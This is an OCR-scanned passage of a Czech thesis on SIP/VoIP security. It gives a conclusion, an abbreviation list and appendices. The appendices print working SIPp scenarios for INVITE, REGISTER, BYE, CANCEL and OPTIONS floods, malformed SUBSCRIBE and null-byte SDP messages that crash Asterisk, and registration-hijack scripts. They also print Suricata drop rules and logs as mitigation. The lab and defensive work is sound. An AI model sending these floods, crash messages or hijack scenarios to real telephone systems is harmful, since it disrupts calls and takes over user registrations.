INVITE a REGISTER byly dostate¢né zavazné k preruseni komunikace mezi soft-
warovymi telefony. Utok s metodou REGISTER byl tspésny diky vytizeni CPU
ustredny a utok s metodou INVITE diky neschopnosti tstredny vytvaret spojeni
nad urcity limit. K mitigaci ttoku byl vyuzit IPS Suricata, ktery dokazal ttok efek-
tivné zneskodnit.

Pro utok modifikovanymi zpravami byl pouzit nastroj SIPTorch, diky kterému
byly vygenerovany zpravy inspirované doporucenim RFC 4475. Dalsi dvé zpravy
byly vytvoreny podle bezpecnostnich upozornéni na strankach www.asterisk.org.
P1i utoku bylo zjisténo, ze nékteré verze ustredny jsou zpravami zranitelné a je-
jich zpracovani zptisobi pad ustfedny. Pro mitigaci utoku bylo vyuzito upgradu na
noveéjsi, robustnéjsi verzi ustredny.

MITM ftutoky byly zaméfeny na piferuseni probihajicitho hovoru, ziskani auten-
tizacnich udaji a na odcizeni registrace uzivatele. Pro ptreruseni hovoru byl vyuzit
nastroj BYE Teardown, ktery diky odchycené komunikaci mezi tstfednou a tele-
fonem vygeneroval zadost o ukonceni hovoru, kterd se jevila jako od legitimniho
uzivatele. Pro ziskani autentizac¢nich tdaji byl vyuzit nastroj SIP crack, ktery diky
spojeni s nastrojem John the Ripper ziskal z odchycené komunikace heslo uzivatele.
Pro odcizeni registrace uzivatele bylo vyuzito heslo ziskané v predchozim utoku,
a diky dvéma zpravam metody REGISTER bylo mozné odregistrovat legitimniho
uzivatele a misto néj zaregistrovat utoc¢nika. Pro mitigaci MITM utoku bylo vyuzito
sifrovani komunikace, mezi tstrednou a telefony, pomoci protokolu TLS.

Cilem praktické ¢asti bylo ukazat jednoduchost vytvoreni fatalniho utoku na SIP

komunikaci.
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Seznam symboli, veli¢in a zkratek

AAA Authentication, Authorization and Accounting
AES Advanced Encryption Standard

AH Authentication Header

CA Certifikac¢ni autorita

CPU Centralni procesorova jednotka

DES Data Encryption Standard

DoS Denial of Service

DTLS Datagram Transport Layer Security

ESP Encapsulating Security Payload

HMAC Hash-based Message Authentication Code

HTTP Hypertext Transfer Protocol
IDS Systém detekce priniku

IETF Internet Engineering Task Force
IKE Internet Key Exchange

IMAP Internet Message Access Protocol
IP Internet Protocol

IPS Systém prevence pruniku

IPsec Internet Protocol Security

LAN Lokalni sif

MD5 Message-Digest algorithm 5
MIME Viceucelova rozsiteni internetové posty

MITM Man-In-The-Middle
PBX Pobockova telefonni ustredna

PKI Public Key Infrastructure
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POP
PSK
PSTN
RADIUS
RELOAD
RFC
RTP
SAML
SDP
SHA-1
SIP
SIPS
S/MIME
SMTP
SQL
SRTP
TCP
TLS

UA
UAC
UAS
UDP
URI
URL

VoIP

Post Office Protocol

Predsdileny kli¢

Verejna telefonni sit

Uzivatelskd vytacena sluzba pro vzdalenou autentizaci
REsource LOcation And Discovery
Request for Comments

Real-time Transport Protocol
Security Assertion Markup Language
Session Description Protocol

Secure Hash Algorithm 1

Protokol pro inicializaci relaci
Session Initiation Protocol Secure
Secure/Multipurpose Internet Mail Extensions
Simple Mail Transfer Protocol
Strukturovany dotazovaci jazyk
Secure Real-time Transport Protocol
Transmission Control Protocol
Transport Layer Security

User Agent

User Agent Client

User Agent Server

User Datagram Protocol

Uniform Resource Identifier

Uniform Resource Locator

Voice over Internet Protocol
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XML Extensible Markup Language
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A Zprava Cancel.xml

Vypis A.1: Obsah souboru Cancel.xml

<?7xml version="1.0" encoding="UTF-8" 7>
<scenario name="cancel_flood">

<send>

<! [CDATA[
CANCEL sip:[servicel@[remote_ip]l:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ipl:[local_port]
From: sipp:<sip:sipp@[local_ipl:[local_portl>
To: asterisk:<sip:[servicel]@[remote_ip]:[remote_port]>
Call-ID: [call_id]
Cseq: 2 CANCEL
Max-Forwards: 70

11>

</send>

</scenario>
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B Zprava Bye.xml

Vypis B.1: Obsah souboru Bye.xml

<?7xml version="1.0" encoding="UTF-8" 7>

<scenario name="bye_flood">

<send>

<! [CDATA[
BYE sip:[service]l]@[remote_ip]l:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ipl:[local_port]
From: sipp:<sip:sipp@[local_ipl:[local_portl>
To: asterisk:<sip:[servicel]@[remote_ip]:[remote_port]>
Call-ID: [call_id]
Cseq: 3 BYE
Contact: sip:sipp@[local_ipl:[local_port]
Max-Forwards: 70
Content-Length: O

11>

</send>

</scenario>
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C Zprava Options.xml

Vypis C.1: Obsah souboru Options.xml

<?7xml version="1.0" encoding="UTF-8" 7>

<scenario name="options_flood">

<send>
<! [CDATA[
OPTIONS sip:[servicel@[remote_ipl:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ipl:[local_port]
From: sipp:<sip:sipp@[local_ipl:[local_portl>
To: asterisk:<sip:[servicel]@[remote_ip]:[remote_port]>
Call-ID: [call_id]
Cseq: 1 OPTIONS
Contact: sip:sipp@[local_ipl:[local_port]
Max-Forwards: 70
Content-Length: O
Accept: text/plain
11>

</send>

</scenario>
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D Zprava Register.xml

Vypis D.1: Obsah souboru Register.xml

<?7xml version="1.0" encoding="UTF-8" 7>

<scenario name="register_auth_flood">
<send>
<! [CDATA[
REGISTER sip:[service]@[remote_ip] SIP/2.0
Via: SIP/2.0/[transport] [local_ipl:[local_port];branch
— =[branch]
From: <sip:[servicel@[remote_ipl>;tag=[call_number]
To: <sip:[servicel]@[remote_ip]>
Call-ID: [call_id]
CSeq: 1 REGISTER
Contact: sip:[service]l@[remote_ip]:[local_port]
Max-Forwards: 5
Expires: 3600
User-Agent: SIPp/Linux
Content -Length: O
11>
</send>

<recv response="401" auth="true">
<action>
<ereg regexp="nonce=\"(["\"]1*)\"" search_in="hdr" header="WWW
— -—-Authenticate:" assign_to="non" />
</action>

</recv>

<send>
<! [CDATA[

REGISTER sip:[service]@[remote_ip] SIP/2.0

Via: SIP/2.0/[transport] [local_ipl:[local_port];branch
— =[branch]

Authorization: Digest username="[service]",realm="
— asterisk",uri="sip:127.0.0.1;transport=UDP", [$non
— ], response="fffffffffffffffffEffEEEFELFELEFE",
— algorithm=MD5,qop=auth,nc=00000001, cnonce=""

From: <sip:[servicel@[remote_ipl>;tag=[call_number]

To: <sip:[servicel]@[remote_ip]>
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Call-ID: [call_id]
CSeq: 2 REGISTER
Contact: sip:[service]@[local_ip]:[local_port]
Max-Forwards: 5
Expires: 3600
User-Agent: SIPp/Linux
Content -Length: O
11>

</send>

</scenario>
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E Zprava Invite.xml

Vypis E.1: Obsah souboru Invite.xml

<?7xml version="1.0" encoding="UTF-8" 7>

<scenario name="invite_flood">
<send>
<! [CDATA[
INVITE sip:[servicel@[remote_ip]l:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ipl:[local_port]
From: sipp <sip:sipp@[local_ip]:[local_portl>;tag=I[
< call_number]
To: asterisk <sip:[servicel]@[remote_ip]:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:sipp@[local_ipl:[local_port]
Max-Forwards: 70
Subject: flood
Supported: timer
Allow: NOTIFY
Allow: REFER
Allow: OPTIONS
Allow: INVITE

Allow: ACK
Allow: CANCEL
Allow: BYE

Content -Type: application/sdp
Content -Length: [len]

v=0

o=userl 53655765 2353687637 IN IP4 127.0.0.1
S=-

t=0 O

c=IN IP [media_ip_type] [media_ip]
m=audio [media_port] RTP/AVP O
a=rtpmap:0 PCMU/8000

a=rtpmap:18 G729/8000

a=rtpmap:101 BV16/8000
a=rtpmap:102 BV32/16000
a=rtpmap:107 L16/16000
a=rtpmap:104 PCMU/16000
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a=rtpmap:105 PCMA/16000
a=rtpmap:106 L16/8000
a=rtpmap:4 G723/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:103 telephone-event /8000
a=fmtp:103 0-15
a=silenceSupp:off - - - -
11>

</send>

</scenario>

78




F Soubor fast.log

Vypis F.1: Obsah souboru fast.log

11/16/2020-11:57:21.560624 [Drop] [*x] [1:40001:1] SIP
<~ OPTIONS flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
11/16/2020-11:57:31.019322 [Drop] [**] [1:40001:1] SIP
<~ OPTIONS flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
11/16/2020-11:57:41.789461 [Drop] [**] [1:40001:1] SIP
<~ OPTIONS flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
11/16/2020-11:57:51.349446 [Drop] [**] [1:40001:1] SIP
<~ OPTIONS flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
11/16/2020-17:10:12.386895 [Drop] [**] [1:30001:1] SIP BYE
— flood [**] [Classification: Potentially Bad Traffic] [
«— Priority: 2] {UDP} 10.0.2.8:5060 -> 192.168.10.4:5060
11/16/2020-17:10:22.017876 [Drop] [*x] [1:30001:1] SIP BYE
— flood [*x] [Classification: Potentially Bad Traffic] [
< Priority: 2] {UDP} 10.0.2.8:5060 -> 192.168.10.4:5060
11/16/2020-17:10:32.854561 [Drop] [*x] [1:30001:1] SIP BYE
— flood [**] [Classification: Potentially Bad Traffic] [
< Priority: 2] {UDP} 10.0.2.8:5060 -> 192.168.10.4:5060
11/16/2020-17:10:42.204646 [Drop] [*x] [1:30001:1] SIP BYE
< flood [**] [Classification: Potentially Bad Traffic] [
— Priority: 2] {UDP} 10.0.2.8:5060 -> 192.168.10.4:5060
11/16/2020-17:14:04.320342 [Drop] [**] [1:50001:1] SIP
<~ CANCEL flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
11/16/2020-17:14:14.108929 [Drop] [**] [1:50001:1] SIP
< CANCEL flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
11/16/2020-17:14:24.461353 [Drop] [**] [1:50001:1] SIP
< CANCEL flood [**] [Classification: Potentially Bad
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— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:14:34.106546 [Drop] [**] [1:50001:1] SIP
— CANCEL flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:17:58.739194 [Drop] [**] [1:10001:1] SIP
— INVITE flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:18:08.022026 [Drop] [**] [1:10001:1] SIP
— INVITE flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:18:18.516546 [Drop] [**x] [1:10001:1] SIP
— INVITE flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:18:28.945613 [Drop] [**x] [1:10001:1] SIP
< INVITE flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:22:52.648997 [Drop] [**x] [1:20001:1] SIP
— REGISTER flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:23:02.313069 [Drop] [**x] [1:20001:1] SIP
— REGISTER flood [**] [Classification: Potentially Bad
— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:23:12.761321 [Drop] [**x] [1:20001:1] SIP
— REGISTER flood [**] [Classification: Potentially Bad
«— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060

11/16/2020-17:23:22.106450 [Drop] [**] [1:20001:1] SIP
— REGISTER flood [#**] [Classification: Potentially Bad
«— Traffic] [Priority: 2] {UDP} 10.0.2.8:5060 ->
— 192.168.10.4:5060
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G Pravidla local.rules

Vypis G.1: Obsah souboru local.rules

drop sip $EXTERNAL_NET any -> $HOME_NET any (msg:"SIP,INVITE,
<~ flood"; content:"INVITE"; flow: stateless; threshold:
<~ type both, track by_src, count 70, seconds 10; sid
<~ :10001; rev:1; classtype:bad-unknown;)

drop sip $EXTERNAL_NET any -> $HOME_NET any (msg:"SIP,
<~ REGISTER_ ;flood"; content:"REGISTER"; flow: stateless;
<~ threshold: type both, track by_src, count 70, seconds
— 10; sid:20001; rev:1; classtype:bad-unknown;)

drop sip $EXTERNAL_NET any -> $HOME_NET any (msg:"SIP_BYE,
— flood"; content:"BYE"; flow: stateless; threshold: type
<~ both, track by_src, count 70, seconds 10; sid:30001; rev
— :1; classtype:bad-unknown;)

drop sip $EXTERNAL_NET any -> $HOME_NET any (msg:"SIP_OPTIONS
— uflood"; content:"OPTIONS"; flow: stateless; threshold:
— type both, track by_src, count 70, seconds 10; sid
— :40001; rev:1; classtype:bad-unknown;)

drop sip $EXTERNAL_NET any -> $HOME_NET any (msg:"SIP_,CANCEL
— flood"; content:"CANCEL"; flow: stateless; threshold:
— type both, track by_src, count 70, seconds 10; sid
— :50001; rev:1; classtype:bad-unknown;)
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H Zprava SUBSCRIBE_ACCEPT.xml

Vypis H.1: Obsah souboru SUBSCRIBE__ACCEPT.xml

<?7xml version="1.0" encoding="UTF-8" 7>

<scenario name="SUBSCRIBE_polozky_Accept">
<send>
<! [CDATA[

SUBSCRIBE sip:[service]@127.0.0.1:5060 SIP/2.0

To: <sip:[service]l@127.0.0.1:5060>

From: Test <sip:[service]@127.0.0.1:5060>

Call-ID: [call_id]

CSeq: 2 SUBSCRIBE

Via: SIP/2.0/[transport] [local_ipl:[local_port];branch=[

— branch]

Contact: <sip:[servicel@[local_ip]l>
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Event:
Allow:

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
message -summary

Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL,

— REFER, INFO, OPTIONS, MESSAGE
Content -Length: O

11>

</send>

<recv response="401" auth="true"></recv>

<send>

<! [CDATA[
SUBSCRIBE sip:[service]@127.0.0.1:5060 SIP/2.0

To: <sip:[service]@127.0.0.1:5060>

From: Test <sip:[service]@127.0.0.1:5060>

Call-ID: [call_id]

CSeq: 2 SUBSCRIBE

Via: SIP/2.0/[transport] [local_ipl:[local_port]
< branch=[branch]

Contact: <sip:[servicel@[local_ipl>

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[authentication username=100 password=asdf]

Event: message-summary

Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL,

— BYE, REFER, INFO, OPTIONS, MESSAGE
Content -Length: O

11>

</send>
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</scenario>
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|  Zprava SDP_NULL.xml

Vypis 1.1: Obsah souboru SDP_ NULL.xml

<?7xml version="1.0" encoding="UTF-8" 7>

<scenario name="SDP_nulova_hodnota">
<send>
<! [CDATA[
INVITE sip:[service]l@127.0.0.1:5060 SIP/2.0
To: <sip:[service]l@127.0.0.1:5060>
From: Test <sip:[service]@127.0.0.1:5060>
Call-ID: [call_id]
CSeq: 2 INVITE
Via: SIP/2.0/[transport] [local_ipl:[local_port];
— branch=[branch]
Contact: <sip:[servicel@[local_ipl>
Content -Type: application/sdp
Content -Length: 228

v=0

o=- 1061502179 1061502179 IN IP4 [local_ip]
s=Asterisk

c=IN IP4 [local_ip]

t=0 0

m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000

a=rtpmap:0 PCMU/8000

a=rtpmap:101 telephone-event /8000
a=fmtp\x00:101 0-16

a=sendrecv

11>

</send>

<recv response="401" auth="true"></recv>

<send>
<! [CDATA[
INVITE sip:[service]l@127.0.0.1:5060 SIP/2.0
To: <sip:[service]@127.0.0.1:5060>
From: Test <sip:[service]@127.0.0.1:5060>
Call-ID: [call_id]
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CSeq: 2 INVITE
Via: SIP/2.0/[transport] [local_ipl:[local_port];
— branch=[branch]
Contact: <sip:[servicel@[local_ipl>
[authentication username=100 password=asdf]
Content -Type: application/sdp
Content -Length: 228

v=0
o=- 1061502179 1061502179 IN IP4 [local_ip]
s=Asterisk
c=IN IP4 [local_ip]
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event /8000
a=fmtp\x00:101 0-16
a=sendrecv
11>

</send>

</scenario>
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J Zprava odreg.xml

Vypis J.1: Obsah souboru odreg.xml

<?7xml version="1.0" encoding="150-8859-1" 7>
<!DOCTYPE scenario SYSTEM "sipp.dtd">

<scenario name="Hijack_REGISTER1">

<send>
<V [CDATA[

REGISTER sip:[remote_ip] SIP/2.0

Contact: "[servicel]" <sip:[service]@[local_ip]:[local_port];
— transport=udp>

Expires: O

Max-Forwards: 70

Call-ID: [call_id]

CSeq: 5 REGISTER

To: <sip:[servicel@[local_ipl>

From: <sip:[servicel@[local_ipl>;tag=81e961b6

Via: SIP/2.0/UDP [local_ipl:[local_port];branch=[branch];
— rport.

User-Agent: SIPp/Linux

11>
</send>

<recv response="401" auth="true">

</recv>

<send>
<! [CDATAL

REGISTER sip:[remote_ip] SIP/2.0

Contact: "[servicel]" <sip:[service]@[local_ipl:[local_portl];
~— transport=udp>

Expires: O

Max-Forwards: 70

Call-ID: [call_id]

CSeq: 6 REGISTER
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[authentication username=100 password=asdf]

To: <sip:[servicel@[local_ip]l>

From: <sip:[servicel]@[local_ipl>;tag=81e961b6

Via: SIP/2.0/UDP [local_ipl:[local_port];branch=[branch];
< rport.

User-Agent: SIPp/Linux

11>

</send>

<recv response="200"></recv>

</scenario>
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K Zprava reg.xml

Vypis K.1: Obsah souboru reg.xml

<?7xml version="1.0" encoding="150-8859-1" 7>
<!DOCTYPE scenario SYSTEM "sipp.dtd">

<scenario name="Hijack_REGISTER2">

<send>
<V [CDATA[

REGISTER sip:[remote_ip] SIP/2.0

Contact: "[servicel]" <sip:[service]@[local_ip]:[local_port];
— transport=udp>

Expires: 3600

Max-Forwards: 70

Call-ID: [call_id]

CSeq: 5 REGISTER

To: <sip:[servicel@[local_ipl>

From: <sip:[servicel@[local_ipl>;tag=81e961b6

Via: SIP/2.0/UDP [local_ipl:[local_port];branch=[branch];
— rport.

User-Agent: SIPp/Linux

11>
</send>

<recv response="401" auth="true">

</recv>

<send>
<! [CDATAL

REGISTER sip:[remote_ip] SIP/2.0

Contact: "[servicel]" <sip:[service]@[local_ipl:[local_portl];
~— transport=udp>

Expires: 3600

Max-Forwards: 70

Call-ID: [call_id]

CSeq: 6 REGISTER

90




[authentication username=100 password=asdf]

To: <sip:[servicel@[local_ip]l>

From: <sip:[servicel]@[local_ipl>;tag=81e961b6

Via: SIP/2.0/UDP [local_ipl:[local_port];branch=[branch];
< rport.

User-Agent: SIPp/Linux

11>

</send>

<recv response="200"></recv>

</scenario>
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